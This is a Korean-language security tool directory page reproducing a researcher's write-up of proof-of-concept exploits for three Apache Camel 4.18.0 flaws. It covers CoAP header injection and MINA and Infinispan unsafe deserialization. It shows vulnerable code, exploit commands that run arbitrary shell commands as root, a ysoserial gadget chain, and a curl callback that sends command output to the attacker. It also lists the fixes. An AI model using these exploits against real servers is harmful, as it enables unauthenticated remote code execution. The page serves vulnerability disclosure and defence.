Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33453 — 세 가지 주요 Apache Camel 취약점에 대한 작동하는 개념 증명 익스플로잇과 상세 분석을 제공하며, CoAP 헤더 주입 및 원격 코드 실행으로 이어지는 안전하지 않은 역직렬화를 포함합니다. | Kitploit
도구/GitHubGitHub/dinosn/cve-2026-33453
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingBinary Exploitation
GitHubdinosn/cve-2026-33453

CVE-2026-33453

세 가지 주요 Apache Camel 취약점에 대한 작동하는 개념 증명 익스플로잇과 상세 분석을 제공하며, CoAP 헤더 주입 및 원격 코드 실행으로 이어지는 안전하지 않은 역직렬화를 포함합니다.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Apache Camel 4.18.0 — CVE 보안 평가

Apache Camel 4.18.0에서 독립적으로 발견되고 검증된 세 가지 치명적인 취약점으로, 작동하는 개념 증명(PoC) 익스플로잇이 포함되어 있습니다.

CVE구성 요소유형CVSS평가
CVE-2026-33453camel-coap헤더 주입 → 원격 코드 실행10.0 치명적악용 가능
CVE-2026-40473camel-mina안전하지 않은 역직렬화 → 원격 코드 실행9.8 치명적악용 가능
CVE-2026-40858camel-infinispan안전하지 않은 역직렬화8.8 높음악용 가능

CVE-2026-33453: CoAP 헤더 주입 → 원격 코드 실행

구성 요소: camel-coap — CamelCoapResource.java:103-109 CWE: CWE-915 (객체 속성의 부적절한 제어 수정) 수정 버전: Camel 4.18.1 / 4.14.6

근본 원인

CamelCoapResource.handleRequest()는 CoAP URI 쿼리 매개변수를 HeaderFilterStrategy 없이 setHeader()를 통해 Camel Exchange 헤더에 직접 매핑합니다. CoAPEndpoint는 DefaultHeaderFilterStrategyEndpoint 대신 DefaultEndpoint를 확장하므로, 인증되지 않은 모든 클라이언트가 Camel* 접두사가 붙은 내부 헤더를 주입할 수 있습니다.

라우트가 camel-exec로 전달될 때, 공격자가 제어하는 CamelExecCommandExecutable 및 CamelExecCommandArgs 헤더가 구성된 명령을 덮어써서 단일 UDP 패킷으로 사전 인증 원격 코드 실행을 달성합니다.

root@kitploit:~
// CamelCoapResource.java:103-109 — HeaderFilterStrategy 없음
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

PoC 결과

CoAP RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] 응답: 2.05
[+] 명령 출력: cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] 명령 출력: app bin boot dev etc home lib ...

CVE-2026-40473: MINA 안전하지 않은 역직렬화 → 원격 코드 실행

구성 요소: camel-mina — MinaConverter.java:60-63 CWE: CWE-502 (신뢰할 수 없는 데이터의 역직렬화) 수정 버전: Camel 4.18.2 / 4.14.6 / 4.20.0

근본 원인

MinaConverter.toObjectInput(IoBuffer)는 ObjectInputFilter 없이 원시 java.io.ObjectInputStream을 생성합니다. MINA 엔드포인트가 allowDefaultCodec=false로 구성되면 원시 TCP 데이터가 IoBuffer로 도착하여 Camel의 타입 변환기에 도달하고, 이 메서드가 호출되어 공격자가 제어하는 네트워크 바이트를 필터링되지 않은 ObjectInputStream으로 감쌉니다.

root@kitploit:~
// MinaConverter.java:60-63 — ObjectInputFilter 없음
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // 공격자가 제어하는 바이트, 필터 없음
}

공격 경로: 익스플로잇은 allowDefaultCodec=false(PoC에서 포트 9879)로 구성된 MINA TCP 엔드포인트를 대상으로 합니다. 이는 MINA의 코덱 계층을 완전히 우회합니다 — ObjectSerializationCodecFactory에는 임의 클래스를 차단하는 자체 ClassNameMatcher 허용 목록이 있습니다. 코덱이 비활성화되면 원시 바이트가 MinaConverter.toObjectInput()으로 직접 흘러 들어가며, 이 메서드는 클래스 필터링이 전혀 없는 표준 ObjectInputStream을 생성합니다.

CommonsCollections6 가젯 체인(ysoserial을 통해)은 루트 권한으로 임의 명령 실행을 달성합니다. 명령 출력은 공격자에게 curl 콜백을 통해 유출됩니다.

PoC 결과

MINA RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] 명령 출력:
    uid=0(root) gid=0(root) groups=0(root)
[+] 확인됨: CVE-2026-40473 RCE — 역직렬화를 통해 명령 실행

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] 명령 출력:
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

CVE-2026-40473 단계별 재현

사전 요구 사항

  • Docker 및 Docker Compose
  • Python 3.8+
  • Java 17+ (ysoserial용)
  • ysoserial — ysoserial-all.jar (CommonsCollections6 가젯)

1단계: 취약한 서버 빌드 및 시작

root@kitploit:~
cd poc/
docker compose up -d --build

컨테이너가 시작될 때까지 기다린 후 확인합니다:

root@kitploit:~
docker logs vuln-camel-mina

다음과 같은 출력이 표시되어야 합니다:

MINA 설정

root@kitploit:~
[*] 취약한 MINA 서버 시작됨
[*] 포트 9877: transferExchange (Java 역직렬화) 엔드포인트
[*] 포트 9878: 객체 직렬화 코덱 엔드포인트
[*] 포트 9879: 원시 TCP (MinaConverter.toObjectInput) 엔드포인트
[*] 연결 대기 중...

포트 9879가 대상입니다 — allowDefaultCodec=false를 사용하여 MINA의 코덱 필터를 비활성화하고 원시 IoBuffer가 Camel의 필터링되지 않은 MinaConverter.toObjectInput()에 도달하도록 합니다.

2단계: 역직렬화 확인 (프로브 모드)

먼저 엔드포인트가 ObjectInputFilter 없이 임의 Java 객체를 수락하고 역직렬화하는지 확인합니다:

root@kitploit:~
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

MINA 프로브

root@kitploit:~
[*] 프로브 모드 — 역직렬화 확인 중 (RCE 없음)
[*] 페이로드: HashMap (82바이트, 원시 — MINA 프레임 없음)
[+] MINA 엔드포인트에 연결됨
[+] 페이로드 전송됨
[+] 데이터가 필터 거부 없이 readObject()에 도달함

프로브는 직렬화된 HashMap을 전송합니다. 서버는 InvalidClassException 없이 ObjectInputStream.readObject()를 통해 이를 역직렬화합니다 — 클래스 필터링이 전혀 없음을 확인합니다.

3단계: 명령 실행 (전체 RCE)

ysoserial을 사용할 수 있으면 필터링되지 않은 역직렬화를 악용하여 임의 명령을 실행합니다:

root@kitploit:~
# 'id' 실행 — uid=0(root) 반환
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# 파일 읽기
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# 시스템 정보
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

익스플로잇은 CommonsCollections6 가젯 체인을 생성하여 포트 9879로 원시 바이트로 전송하고 curl 콜백 리스너를 통해 명령 출력을 캡처합니다.

익스플로잇 옵션

root@kitploit:~
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]

  target           대상 IP/호스트명
  port             MINA TCP 포트 (기본값: 9879)
  command          실행할 명령 (기본값: id)
  --ysoserial      ysoserial.jar 경로 (설정하지 않으면 자동 감지)
  --callback-host  컨테이너가 사용자에게 도달하는 호스트 (기본값: host.docker.internal)
  --gadget         ysoserial 가젯 체인 (기본값: 자동 — CC6, CC5, CC1 시도)
  --probe          프로브 모드만 — RCE 없이 역직렬화 확인
  --raw            MINA 4바이트 프레임 없이 원시 페이로드 전송 (포트 9879에서 자동 활성화)

참고: --callback-host는 기본적으로 host.docker.internal(Docker Desktop)로 설정됩니다. Docker Desktop 없이 Linux에서 실행하는 경우 --callback-host 172.17.0.1 또는 Docker 브리지 IP를 사용하세요.

4단계: 정리

root@kitploit:~
cd poc/
docker compose down

CVE-2026-40858: Infinispan 안전하지 않은 역직렬화

구성 요소: camel-infinispan — DefaultExchangeHolderUtils.java:46-53 CWE: CWE-502 (신뢰할 수 없는 데이터의 역직렬화) 수정 버전: Camel 4.18.2 / 4.14.7 / 4.20.0

근본 원인

DefaultExchangeHolderUtils.deserialize(byte[])는 ObjectInputFilter 없이 ClassLoadingAwareObjectInputStream을 생성합니다. DefaultExchangeHolderProtoAdapter는 Infinispan 캐시 바이트를 이 메서드로 직접 라우팅합니다. 캐시 쓰기 권한(Hot Rod 포트 11222 또는 REST API)이 있는 공격자는 악성 직렬화 페이로드를 주입하며, 이는 집계 저장소가 키를 가져올 때 역직렬화됩니다.

이는 CVE-2024-22369, CVE-2024-23114 및 CVE-2026-25747과 동일한 취약점 패턴입니다 — Camel의 역직렬화 경로에서 ObjectInputFilter 없이 readObject()를 사용하는 수정되지 않은 모든 인스턴스입니다.

root@kitploit:~
// DefaultExchangeHolderUtils.java:46-53 — ObjectInputFilter 없음
static DefaultExchangeHolder deserialize(byte[] bytes) {
    try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
        return (DefaultExchangeHolder) ois.readObject();  // 공격자가 제어
    }
}

취약한 코드

Infinispan 취약한 코드


주석이 달린 취약한 코드

주석이 달린 취약한 코드


세 가지 CVE 모두 재현

사전 요구 사항

  • Docker 및 Docker Compose
  • Python 3.8+
  • Java 17+ (ysoserial용)
  • 전체 RCE 가젯 체인용 ysoserial (CVE-2026-40473)

빌드 및 실행

root@kitploit:~
cd poc/
docker compose up -d --build

다음이 시작됩니다:

  • vuln-camel-coap — camel-exec 라우트가 있는 UDP 포트 5683의 CoAP 엔드포인트
  • vuln-camel-mina — 포트 9877(transferExchange), 9878(ObjectSerializationCodecFactory) 및 9879(원시 TCP — 주요 공격 대상)의 MINA TCP 엔드포인트
  • infinispan — 포트 11222의 Infinispan 서버
  • vuln-camel-infinispan — Infinispan 기반 Camel 집계 저장소

익스플로잇 실행

root@kitploit:~
# CVE-2026-33453: CoAP 헤더 주입 → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'

# CVE-2026-40473: MINA 안전하지 않은 역직렬화 → RCE (위의 자세한 지침 참조)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# CVE-2026-40858: Infinispan 안전하지 않은 역직렬화
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222

정리

root@kitploit:~
cd poc/
docker compose down

평가 프로세스

이 평가는 RAPTOR 자율 보안 연구 프레임워크를 사용하여 수행되었습니다:

  1. 연구 — 3개의 CVE를 모두 식별하고, 수정 커밋을 교차 참조하여 Apache Camel 4.18.0을 유일한 취약 버전으로 확인
  2. 소스 확보 — git sparse-checkout(camel-coap, camel-mina, camel-infinispan)을 통해 취약한 구성 요소 다운로드
  3. 스캔 (/scan) — 3개 구성 요소 전체에 걸친 자동 취약점 발견
  4. 이해 (/understand --map) — 공격 표면 매핑: 진입점, 신뢰 경계, 싱크, 검사되지 않은 데이터 흐름
  5. 검증 (/validate) — 3개 발견 사항 모두 실제, 도달 가능, 악용 가능함을 확인하는 전체 8단계 악용 가능성 검증 파이프라인(0단계 → A → B → C → D → E → F → 1단계)
  6. 익스플로잇 (/exploit) — Docker 기반 테스트 환경에서 작동하는 PoC 개발
  7. 문서화 — 스크린샷, 익스플로잇 보고서 및 이 README

수정 사항

CVE수정 버전변경 사항
CVE-2026-334534.18.1 / 4.14.6CoAPEndpoint → DefaultHeaderFilterStrategyEndpoint 확장; CoAPComponent → HeaderFilterStrategyComponent 구현
CVE-2026-404734.18.2 / 4.14.6 / 4.20.0readObject() 전에 ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") 추가
CVE-2026-408584.18.2 / 4.14.7 / 4.20.0ObjectInputFilter 허용 목록 추가(동일 패턴); 구성된 경우 JVM 직렬 필터로 대체

면책 조항

이 연구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 모든 익스플로잇은 취약한 소프트웨어를 실행하는 로컬 빌드 Docker 컨테이너에서 테스트되었습니다. 위에 나열된 수정 버전으로 업그레이드하세요.

도구 다운로드